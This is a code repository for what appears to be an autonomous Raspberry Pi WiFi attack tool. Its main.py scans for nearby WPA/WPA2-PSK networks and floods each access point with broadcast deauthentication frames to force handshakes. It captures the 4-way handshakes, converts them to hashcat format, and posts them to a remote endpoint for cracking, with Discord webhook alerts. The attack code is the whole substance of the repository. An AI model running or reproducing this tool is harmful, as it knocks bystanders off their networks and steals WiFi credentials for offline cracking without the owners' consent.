├── listnetworks.py ├── main.py └── requirements.txt /listnetworks.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from threading import Thread 3 | import pandas 4 | import time 5 | import os 6 | 7 | # initialize the networks dataframe that will contain all access points nearby 8 | networks = pandas.DataFrame(columns=["BSSID", "SSID", "dBm_Signal", "Channel", "Crypto", "AP"]) 9 | # set the index BSSID (MAC address of the AP) 10 | networks.set_index("BSSID", inplace=True) 11 | 12 | stations = pandas.DataFrame(columns=["AP", "Station"]) 13 | stations.set_index("Station", inplace=True) 14 | 15 | all_packets = pandas.DataFrame(columns=["addr1", "addr2", "addr3", "addr4"]) 16 | 17 | def callback(packet): 18 | if packet.haslayer(Dot11Beacon): 19 | # extract the MAC address of the network 20 | bssid = packet[Dot11].addr2 21 | ap = packet[Dot11].addr3 22 | 23 | # get the name of it 24 | ssid = packet[Dot11Elt].info.decode() 25 | try: 26 | dbm_signal = packet.dBm_AntSignal 27 | except: 28 | dbm_signal = "N/A" 29 | # extract network stats 30 | stats = packet[Dot11Beacon].network_stats() 31 | # get the channel of the AP 32 | channel = stats.get("channel") 33 | # get the crypto 34 | crypto = stats.get("crypto") 35 | networks.loc[bssid] = (ssid, dbm_signal, channel, crypto, ap) 36 | 37 | 38 | 39 | 40 | if packet.haslayer(Dot11FCS): 41 | # Get stations and associated APs 42 | addr1 = packet[Dot11FCS].addr1 43 | addr2 = packet[Dot11FCS].addr2 44 | stations.loc[addr1] = (addr2) 45 | 46 | 47 | def print_all(): 48 | while True: 49 | os.system("clear") 50 | print(networks) 51 | print("\n\n") 52 | print(stations) 53 | time.sleep(1) 54 | 55 | 56 | def change_channel(): 57 | ch = 1 58 | while True: 59 | os.system(f"iwconfig {interface} channel {ch}") 60 | # switch channel from 1 to 14 each 0.5s 61 | ch = ch % 14 + 1 62 | time.sleep(0.5) 63 | 64 | 65 | if __name__ == "__main__": 66 | # interface name, check using iwconfig 67 | interface = "wlan0" 68 | # start the thread that prints all the networks 69 | printer = Thread(target=print_all) 70 | printer.daemon = True 71 | printer.start() 72 | # start the channel changer 73 | channel_changer = Thread(target=change_channel) 74 | channel_changer.daemon = True 75 | channel_changer.start() 76 | # start sniffing 77 | sniff(prn=callback, iface=interface) -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from threading import Thread, Event 3 | import time 4 | import os 5 | import json 6 | import sys 7 | import requests 8 | from dhooks import Webhook 9 | from jsondiff import diff 10 | 11 | 12 | 13 | # # initialize the networks dataframe that will contain all access points nearby 14 | # networks = pandas.DataFrame(columns=["BSSID", "SSID", "dBm_Signal", "Channel", "Crypto", "AP"]) 15 | # # set the index BSSID (MAC address of the AP) 16 | # networks.set_index("BSSID", inplace=True) 17 | 18 | # stations = pandas.DataFrame(columns=["AP", "Station"]) 19 | # stations.set_index("Station", inplace=True) 20 | 21 | # all_packets = pandas.DataFrame(columns=["addr1", "addr2", "addr3", "addr4"]) 22 | 23 | 24 | 25 | MON_IFACE = sys.argv[1] 26 | ENDPOINT = "" # Change this 27 | networks = [] 28 | stations = [] 29 | WEBHOOK_URL = "" # Change this 30 | 31 | current_ap_mac = "" 32 | captured = False 33 | DS_FLAG = 0b11 34 | TO_DS = 0b01 35 | addr1_ap = 0 36 | addr2_ap = 0 37 | 38 | handshake_stations = set() 39 | 40 | def write_networks(): 41 | global networks 42 | # Write networks to a json file to use later 43 | f = open("wifinetworks.json","w") 44 | json_obj = json.dumps(networks, indent=4) 45 | f.write(json_obj) 46 | f.close() 47 | 48 | 49 | def write_stations(): 50 | global stations 51 | # remove duplicates 52 | stations = [i for n, i in enumerate(stations) if i not in stations[n + 1:]] 53 | f = open("stations.json","w") 54 | json_obj = json.dumps(stations, indent=4) 55 | f.write(json_obj) 56 | f.close() 57 | 58 | def APEnumeration(packet): 59 | if packet.haslayer(Dot11Beacon): 60 | # extract the MAC address of the network 61 | bssid = packet[Dot11].addr2 62 | ap = packet[Dot11].addr3 63 | 64 | # get the name of it 65 | ssid = packet[Dot11Elt].info.decode() 66 | 67 | if ssid=="" or ssid is None: 68 | return 69 | try: 70 | dbm_signal = packet.dBm_AntSignal 71 | except: 72 | dbm_signal = "N/A" 73 | # extract network stats 74 | stats = packet[Dot11Beacon].network_stats() 75 | # get the channel of the AP 76 | channel = stats.get("channel") 77 | # get the crypto 78 | crypto = stats.get("crypto") 79 | if ("WPA/PSK" in crypto or "WPA2/PSK" in crypto): 80 | data = {"ssid":ssid, "bssid":bssid, "channel":channel, "crypto":list(crypto)} 81 | networks.append(data) 82 | 83 | 84 | 85 | def StationEnumeration(packet): 86 | if packet.haslayer(Dot11FCS): 87 | # Get stations and associated APs 88 | addr1 = packet[Dot11FCS].addr1 89 | addr2 = packet[Dot11FCS].addr2 90 | 91 | f = open("wifinetworks.json","r") 92 | saved_networks = json.loads(f.read()) 93 | f.close() 94 | 95 | for net in saved_networks: 96 | if addr1 in ["ff:ff:ff:ff:ff:ff", None] or addr2 in ["ff:ff:ff:ff:ff:ff", None]: 97 | continue 98 | if addr1 == net['bssid']: 99 | data = {"station": addr2, "ap": addr1, "ssid": net['ssid'], "channel": net['channel']} 100 | stations.append(data) 101 | elif addr2 == net['bssid']: 102 | data = {"station": addr1, "ap": addr2, "ssid": net['ssid'], "channel": net['channel']} 103 | stations.append(data) 104 | 105 | 106 | def WPAHandshake(packet): 107 | # print("pkt received") 108 | # For every packet sniffed, this function is called 109 | global current_ap_mac 110 | global captured 111 | global TO_DS 112 | global addr1_ap 113 | global addr2_ap 114 | pktdump = PcapWriter("tmp/handshake.pcap", append=True, sync=True) 115 | captured = False 116 | pktdump.write(packet) 117 | if (EAPOL in packet) or (packet.haslayer(EAP)): 118 | # print("EAPOL captured") 119 | # print("current ap_mac: ", current_ap_mac) 120 | addr1 = str(packet.addr1) 121 | addr2 = str(packet.addr2) 122 | # print(addr1, addr2) 123 | 124 | if addr1 == current_ap_mac: 125 | addr1_ap+=1 126 | elif addr2 == current_ap_mac: 127 | addr2_ap+=1 128 | 129 | 130 | if addr1_ap>=2 and addr2_ap>=2: 131 | captured = True 132 | return captured 133 | 134 | return captured 135 | 136 | 137 | def WPAHandshake_prn(packet): 138 | print("pkt received") 139 | if packet.haslayer(EAPOL): 140 | print("EAPOL captured") 141 | print(packet.addr1, packet.addr2) 142 | 143 | 144 | 145 | def deauth(ap_mac, station_mac, channel, stop): 146 | # 802.11 frame 147 | # addr1: destination MAC 148 | # addr2: source MAC 149 | # addr3: Access Point MAC 150 | 151 | global MON_IFACE 152 | # Change channel ID 153 | os.system(f"sudo iwconfig {MON_IFACE} channel {channel}") 154 | 155 | packet = RadioTap() / Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=ap_mac, addr3=ap_mac) / Dot11Deauth() 156 | time.sleep(1) 157 | # send the packet 158 | for i in range(1000): 159 | sendp(packet, iface=MON_IFACE, inter=0.2, verbose=0) 160 | if stop.is_set(): 161 | break 162 | 163 | 164 | def enable_monitor_mode(): 165 | global MON_IFACE 166 | os.system(f"sudo ip link set {MON_IFACE} down") 167 | os.system(f"sudo iw dev {MON_IFACE} set type monitor") 168 | os.system(f"sudo ip link set {MON_IFACE} up") 169 | 170 | 171 | def capture_handshake(ap_mac, channel): 172 | global captured 173 | global MON_IFACE 174 | os.system(f"sudo iwconfig {MON_IFACE} channel {channel}") 175 | sniff(iface=MON_IFACE, stop_filter=WPAHandshake, timeout=120) 176 | # sniff(iface=MON_IFACE, prn=WPAHandshake_prn, timeout=30) 177 | 178 | if not captured: 179 | # Sometimes eventhough the eapol packets are captured, it is not detected by scapy. So writing this aditional check just in case 180 | print("Running additional check to see if WPA handshake is captured") 181 | handshake_cap = rdpcap('tmp/handshake.pcap') 182 | from_ap = 0 183 | to_ap = 0 184 | for packet in handshake_cap: 185 | if packet.haslayer(EAPOL): 186 | addr1 = packet.addr1 187 | addr2 = packet.addr2 188 | 189 | if addr1 == ap_mac: 190 | from_ap+=1 191 | elif addr2 == ap_mac: 192 | to_ap+=1 193 | 194 | if from_ap>=2 and to_ap>=2: 195 | captured = True 196 | 197 | if captured: 198 | ap_mac_formatted = ap_mac.replace(":","-") 199 | filename = f"handshake_{ap_mac_formatted}.pcap" 200 | print(f"\r4-way handshake captured for ap [{ap_mac}]") 201 | os.system(f"mv tmp/handshake.pcap handshakes/handshake_{ap_mac_formatted}.pcap") 202 | print(f"\rSaved in file handshake_{ap_mac_formatted}.pcap") 203 | return filename 204 | else: 205 | print(f"\rUnable to capture handshake for ap [{ap_mac}]") 206 | return None 207 | 208 | 209 | 210 | def print_all(): 211 | while True: 212 | os.system("clear") 213 | print(networks) 214 | print("\n\n") 215 | print(stations) 216 | time.sleep(1) 217 | 218 | 219 | def change_channel(): 220 | global MON_IFACE 221 | ch = 1 222 | while True: 223 | os.system(f"iwconfig {MON_IFACE} channel {ch}") 224 | # switch channel from 1 to 14 each 0.5s 225 | ch = ch % 14 + 1 226 | time.sleep(0.5) 227 | 228 | 229 | def send_to_webhook(message): 230 | global WEBHOOK_URL 231 | webhook = Webhook(WEBHOOK_URL) 232 | # resp = webhook.execute() 233 | # print(resp) 234 | for i in range(50): 235 | # Retry certain number of times incase the connection is broken 236 | try: 237 | webhook.send(message) 238 | print("Sent newly discovered networks to endpoint") 239 | return 240 | except Exception as e: 241 | pass 242 | 243 | 244 | def send_to_endpoint(f, hc22000_filename): 245 | for i in range(50): 246 | try: 247 | r = requests.post(ENDPOINT, files={hc22000_filename: f}) 248 | if r.status_code == 200: 249 | print("Sent hc22000 file to end point") 250 | return 251 | except Exception as e: 252 | continue 253 | 254 | 255 | 256 | def start(): 257 | global networks 258 | global deauth_tried_aps 259 | global addr1_ap 260 | global addr2_ap 261 | global captured 262 | global current_ap_mac 263 | 264 | channel_changer = Thread(target=change_channel) 265 | channel_changer.daemon = True 266 | channel_changer.start() 267 | 268 | # start sniffing 269 | print("Enumerating WiFi networks") 270 | sniff(prn=APEnumeration, iface=MON_IFACE, timeout=60) 271 | 272 | # Remove dupilicates 273 | networks = [i for n, i in enumerate(networks) if i not in networks[n + 1:]] 274 | 275 | print("Networks: ", networks) 276 | 277 | # Notify about newly discovered networks 278 | if os.path.exists("wifinetworks.json"): 279 | new_networks = [] 280 | with open("wifinetworks.json","r") as f: 281 | data = f.read() 282 | try: 283 | data = json.loads(data) 284 | print("Comparing bssids") 285 | for current_network in networks: 286 | print("Current: ",current_network['bssid']) 287 | already_saved = False 288 | for already_saved_network in data: 289 | print("Already saved: ", already_saved_network['bssid']) 290 | if current_network['bssid'].strip() == already_saved_network['bssid'].strip(): 291 | already_saved = True 292 | break 293 | 294 | if not already_saved: 295 | new_networks.append(current_network) 296 | 297 | except Exception as e: 298 | new_networks = networks 299 | 300 | if len(new_networks)!=0: 301 | print("New Networks: ",new_networks) 302 | # Send to webhook on a different thread 303 | message = "[From Pi] New WiFi Networks discovered: \n" 304 | to_send = json.dumps(new_networks, indent=4) 305 | message+=f"```{to_send}```" 306 | # notifier = Thread(target=send_to_webhook, args=(message,)) 307 | # notifier.daemon = True 308 | # notifier.start() 309 | send_to_webhook(message) 310 | 311 | 312 | # Write networks to file 313 | print("Writing found networks to file") 314 | write_networks() 315 | 316 | # Start enumerating Stations 317 | # Not necessary 318 | # print("Enumerating Stations") 319 | # sniff(prn=StationEnumeration, iface=MON_IFACE, timeout=5) 320 | 321 | # # Write stations to file 322 | # print("Writing found stations to file") 323 | # write_stations() 324 | 325 | 326 | # f = open('stations.json','r') 327 | # saved_stations = json.loads(f.read()) 328 | # f.close() 329 | 330 | f=open("wifinetworks.json",'r') 331 | wifi_networks = json.loads(f.read()) 332 | f.close() 333 | 334 | threads = [] 335 | deauth_tried_aps = [] 336 | for net in wifi_networks: 337 | # re-initialize necessary variables 338 | addr1_ap=0 339 | addr2_ap=0 340 | captured = False 341 | skip = False 342 | ap_mac = net['bssid'] 343 | station_mac = "xxx" 344 | channel = net['channel'] 345 | ssid = net['ssid'] 346 | 347 | # # Conditions for Testing purpose 348 | 349 | 350 | # if "Teja Swaroop" in ssid: 351 | # continue 352 | 353 | # if "Target Network" not in ssid: 354 | # continue 355 | 356 | if os.path.exists("captured_handshakes.json"): 357 | # Check if handshake is already captured 358 | with open("captured_handshakes.json","r") as f: 359 | data = f.readlines() 360 | for line in data: 361 | if line=="": 362 | continue 363 | if ap_mac.lower() == line.strip().lower(): 364 | skip = True 365 | break 366 | 367 | if skip: 368 | continue 369 | 370 | # if ap_mac in deauth_tried_aps: 371 | # continue 372 | 373 | 374 | 375 | current_ap_mac = ap_mac 376 | # deauth_tried_aps.append(ap_mac) 377 | event = Event() 378 | 379 | # Perform deauth attack now in a different thread 380 | print(f"\n\n\rPerforming deauth attack on ap [{ssid}] [{ap_mac}] ...") 381 | deauther = Thread(target=deauth, args=(ap_mac, station_mac, channel, event)) 382 | deauther.daemon = True 383 | deauther.start() 384 | 385 | time.sleep(0.1) 386 | 387 | # Listen for EAPOL packets (WPA handshake) in the main thread 388 | print("Listening for WPA handshake") 389 | handshake_filename = capture_handshake(ap_mac, channel) 390 | event.set() 391 | deauther.join() 392 | 393 | if captured: 394 | # Notify 395 | message = "[From RaspberryPi]4-way handshake captured for the following network: \n" 396 | message+=f"```SSID: {ssid}, BSSID: {ap_mac}```" 397 | notifier = Thread(target=send_to_webhook, args=(message,)) 398 | notifier.daemon = True 399 | notifier.start() 400 | 401 | # Add it to list of captured handshakes 402 | if not os.path.exists("captured_handshakes.json"): 403 | os.system("touch captured_handshakes.json") 404 | 405 | with open("captured_handshakes.json","a") as f: 406 | f.write(ap_mac+"\n") 407 | 408 | # Convert cap file to hashcat compatabile format with hcxpcapngtool 409 | print("Trying to convert handshakes to hc22000") 410 | hc22000_filename = ap_mac.replace(":","")+".hc22000" 411 | print(f"sudo hcxpcapngtool -o {hc22000_filename} {handshake_filename} >/dev/null 2>&1") 412 | os.system(f"sudo hcxpcapngtool -o hc22000/{hc22000_filename} handshakes/{handshake_filename} >/dev/null 2>&1") 413 | 414 | time.sleep(1) 415 | 416 | if not os.path.isfile(os.path.join("hc22000",hc22000_filename)): 417 | print("Failed converting handshake to hc22000") 418 | continue 419 | 420 | print(f"Converted handshake to hc22000 file hc22000/{hc22000_filename}") 421 | 422 | # Send to endpoint for cracking 423 | print(f"Sending the file to endpoint [{ENDPOINT}]") 424 | with open(os.path.join("hc22000",hc22000_filename),'rb') as f: 425 | send_to_endpoint(f, hc22000_filename) 426 | # sender = Thread(target=send_to_endpoint, args=(f, hc22000_filename)) 427 | # sender.deamon = True 428 | # sender.start() 429 | 430 | 431 | if __name__ == "__main__": 432 | # Enable Monitor mode first 433 | # print("Enabling monitor mode") 434 | # enable_monitor_mode() 435 | 436 | if not os.path.exists("tmp"): 437 | os.mkdir("tmp") 438 | print("tmp directory created") 439 | 440 | if not os.path.exists("handshakes"): 441 | os.mkdir("handshakes") 442 | print("handshakes directory created") 443 | 444 | if not os.path.exists("hc22000"): 445 | os.mkdir("hc22000") 446 | print("hc22000 directory created") 447 | 448 | 449 | while 1: 450 | start() 451 | time.sleep(60) 452 | print() 453 | # start the thread that prints all the networks 454 | # printer = Thread(target=print_all) 455 | # printer.daemon = True 456 | # printer.start() 457 | # start the channel changer 458 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | aiohttp==3.8.3 2 | aiosignal==1.2.0 3 | async-timeout==4.0.2 4 | attrs==22.1.0 5 | certifi==2022.9.24 6 | charset-normalizer==2.1.1 7 | dhooks==1.1.4 8 | discord-webhook==0.17.0 9 | frozenlist==1.3.1 10 | idna==3.4 11 | jsondiff==2.0.0 12 | multidict==6.0.2 13 | numpy==1.23.4 14 | pandas==1.5.1 15 | python-dateutil==2.8.2 16 | pytz==2022.5 17 | requests==2.28.1 18 | scapy==2.4.5 19 | six==1.16.0 20 | urllib3==1.26.12 21 | yarl==1.8.1 22 | --------------------------------------------------------------------------------